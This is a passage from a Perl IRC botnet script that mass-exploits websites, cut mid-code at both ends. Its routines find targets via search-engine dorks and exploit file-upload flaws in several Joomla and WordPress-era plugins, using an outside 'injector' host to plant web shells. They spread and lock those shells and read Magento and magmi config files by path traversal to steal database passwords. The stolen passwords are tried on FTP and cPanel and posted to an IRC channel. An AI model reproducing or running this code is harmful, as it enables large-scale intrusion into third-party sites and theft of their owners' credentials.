} if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"coop",$type,$nick,$id); } exit; } } if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"travel",$type,$nick,$id); } exit; } } } sub type { my ($chan,$bug,$dork,$engine,$type,$nick, $id) = @_; if ($type == 1){ &ninja_xpl($chan,$bug,$dork,$ninjalogo,$engine,$nick,$id);} elsif ($type == 2){ &adsManager_xpl($chan,$bug,$dork,$adslogo,$engine,$nick,$id);} elsif ($type == 3){ &myblog_xpl($chan,$bug,$dork,$bloglogo,$engine,$nick,$id);} elsif ($type == 4){ &jdownloads_xpl($chan,$bug,$dork,$jdlogo,$engine,$nick,$id);} elsif ($type == 5){ &revslider_xpl($chan,$bug,$dork,$revlogo,$engine,$nick,$id);} elsif ($type == 6){ &wpconfig_xpl($chan,$bug,$dork,$wpclogo,$engine,$nick,$id);} elsif ($type == 7){ &magento_xpl($chan,$bug,$dork,$maglogo,$engine,$nick,$id);} elsif ($type == 8){ &cfgcontact_xpl($chan,$bug,$dork,$cfglogo,$engine,$nick,$id);} } ######################################################################################################### # CFGCONTACTFORM EXPLOIT. # # xpl : feed.php # ######################################################################################################### sub cfgcontact_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; #========= ACTION SET =============# my $xpl = "feed.php"; my $clone = "?ka&x=clone&path=..%2F..%2Ffeed.php%2C..%2Fcontactformgenerator%2Ffeed.php"; my $patch = "?ka&x=patch&allow=feed.php%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $resPath = ""; my $mail = "?ka&x=mail"; my $dblink = ""; #==================================# my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $return = 0; my $site = $total[$i]; $site =~ /cfg\-contactform\-(\d+)/; my $ct = ($1) ? $1 :0; $site =~ s/cfg-contactform\-\d+\/.*//; my @bdpath = ( "/feed.php+".$osKey, "/contactformgenerator/feed.php+".$osKey, "/myluph.php", "/bogel.php", "/index.inc.php" ); my @res = &backdoorCheck($site,@bdpath); if($res[0] ne "false") { sleep(3); my $msg = "3$res[0] ".$art{"circ1"}."OS:14$res[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$res[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$res[1],$res[2]); if($logger) { my $file = "patch.txt"; if($res[3] == 0 or $res[3] == 1) { $file = "old.txt";} &saveTarget($file,$result[0],$result[1],$result[2]); } } else { if($ct) { my $url = "http://".$site."/cfg-contactform-".$ct."/inc/upload.php"; my $check = &_get($url); if($check->is_success) { my $path = $injector."?x=".$site."&y=cfg&id=".$ct; &get_content($path); sleep(2); my $upath = "http://".$site."/cfg-contactform-".$ct."/upload/".$xpl; my $ucheck = &get_content($upath); if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){ $return = 1; my $safe = ""; my $os = ""; if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ sleep(3); my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); &spreader("x",$clone,$patch,$mail,"",$plbot,$site,$upath,"/cfg-contactform-".$ct."/upload/",$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$upath,$os,$safe); } } } } } if(!$return) { for(my $i = 1;$i <= 21;$i++) { my $url4 = "http://".$site."/cfg-contactform-".$i."/inc/upload.php"; my $check4 = &_get($url4); if($check4->is_success) { my $path4 = $injector."?x=".$site."&y=cfg&id=".$i; &get_content($path4); sleep(2); my $upath4 = "http://".$site."/cfg-contactform-".$i."/upload/".$xpl; my $ucheck4 = &get_content($upath4); if($ucheck4 =~ /GIF89a/ig or $ucheck4 =~ /Touched by SiNaGa/ig){ $return = 1; my $safe = ""; my $os = ""; if ($ucheck4 =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($ucheck4 =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ sleep(3); my $msg = "3$upath4 ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); &spreader("x",$clone,$patch,$mail,"",$plbot,$site,$upath4,"/cfg-contactform-".$i."/upload/",$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$upath4,$os,$safe); } } last; } } } } } } } } ######################################################################################################### # NINJA EXPLOIT # # xpl : feed.jpg # # result:feed.php # ######################################################################################################### sub ninja_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; #========= ACTION SET =============# my $xpl = "feed.jpg"; my $clone = "?ka&x=clone&path=..%2F..%2Fninja-applications%2Ffufu%2Fthemes%2Ffeed.php"; my $patch = "?ka&x=patch&lock=1&allow=%2Aparser%2A%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $resPath = "/uploads/temp/"; my $mail = "?ka&x=mail"; my $dblink = "?ka&x=read&path=..%2F..%2Fninja-configs%2Fconfig.db.inc"; #==================================# my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/ninja-applications\/.*//; my $url = "http://".$site."/ninja-applications/fufu/controllers/uploader/upload.php"; my $check = &_get($url); if($check->is_success) { my @bdpath = ( "/ninja-applications/fufu/themes/feed.php+".$osKey, "/class.inc.php", "/.config.php", "/system/.config.php" ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(3); my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]); if($repeat) { if($result[3] == 0) { $dblink = "?ka&x=read&path=..%2F..%2F..%2Fninja-configs%2Fconfig.db.inc"; &spreader("ninja",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id); } } if($logger) { my $file = ($result[3] == 0) ? "old.txt" : "patch.txt"; &saveTarget($file,$result[0],$result[1],$result[2]); } } else { my $act = $injector."?x=".$site."&y=ninja"; my $chk = &_get($act); my $res = $chk->decoded_content; sleep(2); if($res =~ /cleanFileName/ig) { $res =~ m/\"cleanFileName\"?\s\:?\s\"(.*)\"/i; my $bd = $1; my $upath = "http://".$site."/uploads/temp/".$bd; my $ucheck = &get_content($upath."?".$osKey); sleep(2); if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){ my $safe = ""; my $os = ""; if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ sleep(3); my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); &spreader("ninja",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$upath,$os,$safe);} } } } } } } } } ######################################################################################################### # ADSMANAGER EXPLOIT. # # xpl : feed.jpg # ######################################################################################################### sub adsManager_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; #========= ACTION SET =============# my $xpl = "feed.jpg"; my $clone = "?ka&x=clone&path=..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2Fmodules%2Fmod_banners%2Findex.php"; my $patch = "?ka&x=patch&allow=feed.php%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $resPath = "/tmp/plupload/"; my $mail = "?ka&x=mail"; my $dblink = "?ka&x=jdb"; #==================================# my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i >= 10) { sleep(5);} if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/index.php\/.*//; $site =~ s/components\/.*//; $site =~ s/component\/.*//; $site =~ s/index\.php\?option\=com_adsmanager.*//; my $url = "http://".$site."/index.php?option=com_adsmanager&task=upload&tmpl=component"; my $check = &_get($url); if($check->is_success) { if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my @bdpath = ( "/logs/feed.php+".$osKey, "/modules/mod_banners/index.php+".$osKey, "/media/system/js/index.php+".$osKey, "/components/com_media/index.php+".$osKey, "/tmp/plupload/feed.php+".$osKey ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(5); my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]); if($repeat) { &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id); } if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); } } else { my $act = $injector."?x=".$site."&y=ads"; my $chk = &get_content($act); sleep(2); my $upath = "http://".$site.$resPath."feed.php"; my $ucheck = &get_content($upath."?".$osKey); sleep(2); if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){ my $safe = ""; my $os = ""; if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ sleep(5); my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$upath,$os,$safe); } } } else { my @path2 = ( "/includes/xmlrpc.php", "/xmlrpc.php", "/components/index.inc.php", "/media/system/js/index.inc.php", "/yena.php", "/tmp/plupload/yena.php", "/tmp/plupload/bogex.php", "/tmp/plupload/index.php", "/images/com_adsmanager/ads/uploaded/bogel.php", "/media/system/css/unix.php", "/components/index.inc.php", "/tmp/plupload/unix.php", "/images/com_adsmanager/ads/uploaded/unix.php", "/logs/unix.php", "/plugins/editors/index.php", "/cache/bogel.php", "/bogel.php", "/.libs.php", "/wp-content.php", "/404.php", "/wp-xmlrpc.php", "/myluph.php", "/images/com_adsmanager/ads/uploaded/index.php" ); my @patcher = &backdoorCheck($site,@path2); if($patcher[0] ne "false") { sleep(5); my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]); if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); } } } } } exit; } } } } } ######################################################################################################### # MYBLOG EXPLOIT. # # xpl : version.php.xxxjpg # ######################################################################################################### sub myblog_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; #========= ACTION SET =============# my $xpl = "feed.php.xxxjpg"; my $clone = "?ka&x=clone&path=..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2Fmodules%2Fmod_banners%2Findex.php"; my $patch = "?ka&x=patch&allow=feed.php.xxxjpg%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $mail = "?ka&x=mail"; my $dblink = "?ka&x=jdb"; #===============================# my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i >= 10) { sleep(3);} if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/index.php\/.*//; $site =~ s/components\/.*//; $site =~ s/component\/.*//; $site =~ s/index\.php\?option\=com_myblog.*//; my $url = "http://".$site."/index.php?option=com_myblog&task=ajaxupload"; my $check = &_get($url); if($check->is_success) { if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my @bdpath = ( "/logs/feed.php+".$osKey, "/media/system/js/index.php+".$osKey, "/components/com_media/index.php+".$osKey, "/modules/mod_banners/index.php+".$osKey ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(3); my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]); if($repeat) { &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],"",$logo,0,$engine,$chan,$nick,$id); } if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); } } else { my $act = $injector."?x=".$site."&y=jblog"; my $chk = &_get($act); sleep(3); my @dir = ("/images/","/images/stories/","/images/0/","/images/blog/"); my @rest = ( "/images/feed.php.xxxjpg+".$osKey, "/images/stories/feed.php.xxxjpg+".$osKey, "/images/0/feed.php.xxxjpg+".$osKey, "/images/blog/feed.php.xxxjpg+".$osKey ); my @res = &backdoorCheck($site,@rest); if($res[0] ne "false") { sleep(3); my $key = $res[3]; if($key == 0) { $clone = "?ka&x=clone&path=..%2Flogs%2Ffeed.php%2C..%2Fmodules%2Fmod_banners%2Findex.php"; } my $msg = "3$res[0] ".$art{"circ1"}."OS:14$res[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$res[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$res[1],$res[2]); &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$res[0],$dir[$key],$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$res[0],$res[1],$res[2]); } } else { my @patchs = ( "/images/0/yena.PhP.pjpeg", "/images/yena.PhP.pjpeg", "/images/blog/yena.PhP.pjpeg", "/images/stories/yena.PhP.pjpeg", "/images/0/images.PhP.pjpeg", "/images/images.PhP.pjpeg", "/images/bogel.PhP.pjpeg", "/images/xx.PhP.pjpeg", "/images/0/xx.PhP.pjpeg", "/images/blog/xx.PhP.pjpeg", "/images/stories/xx.PhP.pjpeg", "/images/0/bogel.PhP.pjpeg", "/images/blog/bogel.PhP.pjpeg", "/images/stories/bogel.PhP.pjpeg", "/plugins/editors/index.php", "/cache/bogel.php", "/.libs.php", "/wp-content.php", "/404.php", "/wp-xmlrpc.php", "/myluph.php", "/yena.php" ); my @patcher = &backdoorCheck($site,@patchs); if($patcher[0] ne "false") { sleep(3); my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]); if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); } } } } } exit; } } } } } ######################################################################################################### # JDOWNLOADS EXPLOIT. # # xpl :version.php.php.j # ######################################################################################################### sub jdownloads_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; #========= ACTION SET =============# my $xpl = "feed.php.php.j"; my $xpl2 = "image.zip"; my $clone = "?ka&x=clone&path=..%2F..%2F..%2Flogs%2Ffeed.php%2C..%2F..%2F..%2Fmodules%2Fmod_banners%2Findex.php"; my $patch = "?ka&x=patch&allow=feed.php.j%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $resPath = "/images/jdownloads/screenshots/"; my $mail = "?ka&x=mail"; my $dblink = "?ka&x=jdb"; #=================================# my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i >= 10) { sleep(5);} if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/i) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/index.php\/.*//; $site =~ s/components\/.*//; $site =~ s/component\/.*//; $site =~ s/index\.php\?option\=com_jdownloads.*//; my $url = "http://".$site."/index.php?option=com_jdownloads&Itemid=0&view=upload"; my $check = &_get($url); if($check->is_success) { if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my @bdpath = ( "/logs/feed.php+".$osKey, "/modules/mod_banners/index.php+".$osKey, "/images/jdownloads/screenshots/feed.php.j+".$osKey, "/media/system/js/index.php+".$osKey, "/components/com_media/index.php+".$osKey ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(5); my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]); if($repeat) { if($result[3] == 2) { $dblink = "?ka&x=jdb";} &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],$resPath,$logo,0,$engine,$chan,$nick,$id); } if($logger) { &saveTarget("old.txt",$result[0],$result[1],$result[2]); } } else { my $act = $injector."?x=".$site."&y=jdl"; my $chk = &get_content($act); sleep(3); my $upath = "http://".$site.$resPath."feed.php.j"; my $ucheck = &get_content($upath."?".$osKey); sleep(2); if($ucheck =~ /GIF89a/ig or $ucheck =~ /Touched by SiNaGa/ig){ sleep(5); my $safe = ""; my $os = ""; if ($ucheck =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($ucheck =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ sleep(4); my $msg = "3$upath ".$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$os,$safe); &spreader("joomla",$clone,$patch,$mail,$dblink,$plbot,$site,$upath,$resPath,$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$upath,$os,$safe); } } } else { my @path2 = ( "/images/jdownloads/screenshots/unix.php.j", "/images/jdownloads/screenshots/gelo.php.j", "/images/jdownloads/screenshots/m.libs.up.php.j", "/images/jdownloads/screenshots/unix.php.j", "/plugins/editors/index.php", "/cache/bogel.php", "/.libs.php", "/wp-content.php", "/404.php", "/wp-xmlrpc.php", "/myluph.php", "/bogel.php", ); my @patcher = &backdoorCheck($site,@path2); if($patcher[0] ne "false") { sleep(5); my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]); if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); } } } } } exit; } } } } } ######################################################################################################### # MAGENTO + MAGMI EXPLOIT # # xpl : revslider # ######################################################################################################### sub magento_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/magmi\/.*//; $site =~ s/web\/.*//; #magmi my $mag = "http://".$site."/magmi/web/download_file.php"; my $cmag = &_get($mag); if($cmag->is_success) { my $url = "http://".$site."/magmi/web/download_file.php?file=../conf/magmi.ini"; my $vic = &cleanUrl($site); my $check = &get_content($url); if($check =~ /dbname/i) { my($host,$db,$user,$pass); if ($check =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; } if ($check =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; } if ($check =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if ($check =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } if($user && $pass) { if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); } else { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); my $checkdb = &getDb("mysql", $host, $db, $user, $pass); if($checkdb) { &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}); } } #GET FTP# my @ftp = &getConnect("ftp",$site,$user,$pass); if($ftp[0] ne "false") { &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"}); } else { &createList("$site $user,$pass", "site.txt"); } #GET CPANEL# my @cp = &getConnect("cpanel",$site,$user,$pass); if($cp[0] ne "false") { my $cps = "http://".$cp[0].":2082"; &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"}); } } } } else { my $mag2 = "http://".$site."/web/download_file.php"; my $cmag2 = &_get($mag2); if($cmag2->is_success) { my $url = "http://".$site."/web/download_file.php?file=../conf/magmi.ini"; my $vic = &cleanUrl($site); my $check = &get_content($url); if($check =~ /dbname/i) { my($host,$db,$user,$pass); if ($check =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; } if ($check =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; } if ($check =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if ($check =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } if($user && $pass) { if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); } else { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); my $checkdb = &getDb("mysql", $host, $db, $user, $pass); if($checkdb) { &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}); } } #GET FTP# my @ftp = &getConnect("ftp",$site,$user,$pass); if($ftp[0] ne "false") { &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"}); } else { &createList("$site $user,$pass", "site.txt"); } #GET CPANEL# my @cp = &getConnect("cpanel",$site,$user,$pass); if($cp[0] ne "false") { my $cps = "http://".$cp[0].":2082"; &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"}); } } } } else { my $url = "http://".$site."/app/etc/local.xml"; my $vic = &cleanUrl($site); my $check = &get_content($url); if($check =~ /dbname/i) { my($host,$db,$user,$pass); if ($check =~ /<\/host>/) { $host = $1; } if ($check =~ /<\/dbname>/) { $db = $1; } if ($check =~ /<\/username>/) { $user = $1; } if ($check =~ /<\/password>/) { $pass = $1; } if($user && $pass) { if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); } else { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); my $checkdb = &getDb("mysql", $host, $db, $user, $pass); if($checkdb) { &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}); } } #GET 